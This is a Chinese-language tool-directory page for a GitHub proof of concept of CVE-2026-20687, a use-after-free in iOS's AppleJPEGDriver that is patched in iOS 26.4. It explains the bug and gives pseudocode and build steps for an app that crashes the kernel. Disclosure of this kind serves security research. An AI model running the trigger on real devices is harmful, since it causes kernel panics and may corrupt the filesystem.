Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-20687-AppleJPEGDriver-UAF — CVE-2026-20687:AppleJPEGDriver startDecoder 超时 UAF — iOS/macOS 内核漏洞,导致延迟崩溃(A19 Pro,iOS 26.3 RC) | Kitploit
工具/GitHubGitHub/enfilade-labs/cve-2026-20687-applejpegdriver-uaf
iOS安全内存取证漏洞分析漏洞利用逆向工程移动安全二进制利用
GitHubenfilade-labs/cve-2026-20687-applejpegdriver-uaf

CVE-2026-20687-AppleJPEGDriver-UAF

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-20687:AppleJPEGDriver startDecoder 超时 UAF — iOS/macOS 内核漏洞,导致延迟崩溃(A19 Pro,iOS 26.3 RC)

查看仓库
274个月前尚未审核

CVE-2026-20687 — AppleJPEGDriver startDecoder 超时 UAF

CVE-2026-20687 · Enfilade · enfilade.io

组件: 内核

影响: 应用可能能够导致系统意外终止或写入内核内存。

描述: 通过改进内存管理解决了一个释放后使用问题。

— Apple 安全内容,iOS 26.4 和 iPadOS 26.4

目标

iOS26.3 (23D125)(已测试)
macOS—
组件AppleJPEGDriver
已修补iOS 26.4 / iPadOS 26.4
硬件iPhone18,2(iPhone 17 Pro Max,A19 Pro)

警告

运行 PoC 将导致设备内核崩溃。运行前请保存您的工作。反复崩溃可能导致文件系统损坏。仅供安全研究使用。

漏洞

startDecoder_sync 中的超时路径释放了一个请求,但将其嵌入的队列节点指针保留在每编解码器向量中。后续的队列遍历解引用该过期节点,内核在 MTE 标签检查执行下崩溃。该崩溃通常会延迟到后续同步 JPEG 解码运行时才发生——在 iPhone 上,打开相机应用时可靠地触发。

概念验证

root@kitploit:~
// 预置驱动;崩溃通常会延迟到打开相机时发生。
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
    startDecoder_async();                   // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);

// 稍后,打开相机触发:
startDecoder_sync();
    queue_io_gated: vector.push(req + 0x78);
    wait(10s) -> TIMEOUT;
    pool_free(req);                         // BUG:未出队 (req + 0x78)

// 更晚(finish_io_gated):
fullSpeedRequestExist():
    node_ptr = vector[i];                   // 过期:node_ptr == (已释放的 req + 0x78)
    req2 = *(node_ptr + 0x8);               // UAF 读取 -> MTE 标签错误 -> 崩溃

构建与运行

  1. 在 Xcode 中打开 ios-app/Test.xcodeproj。
  2. 选择一台物理 iOS 设备(模拟器无法访问该驱动)。
  3. 构建、运行,并点击 Panic(预置驱动并排队异步工作)。
  4. 打开相机应用以触发延迟崩溃。

许可证

参见 LICENSE。

下载工具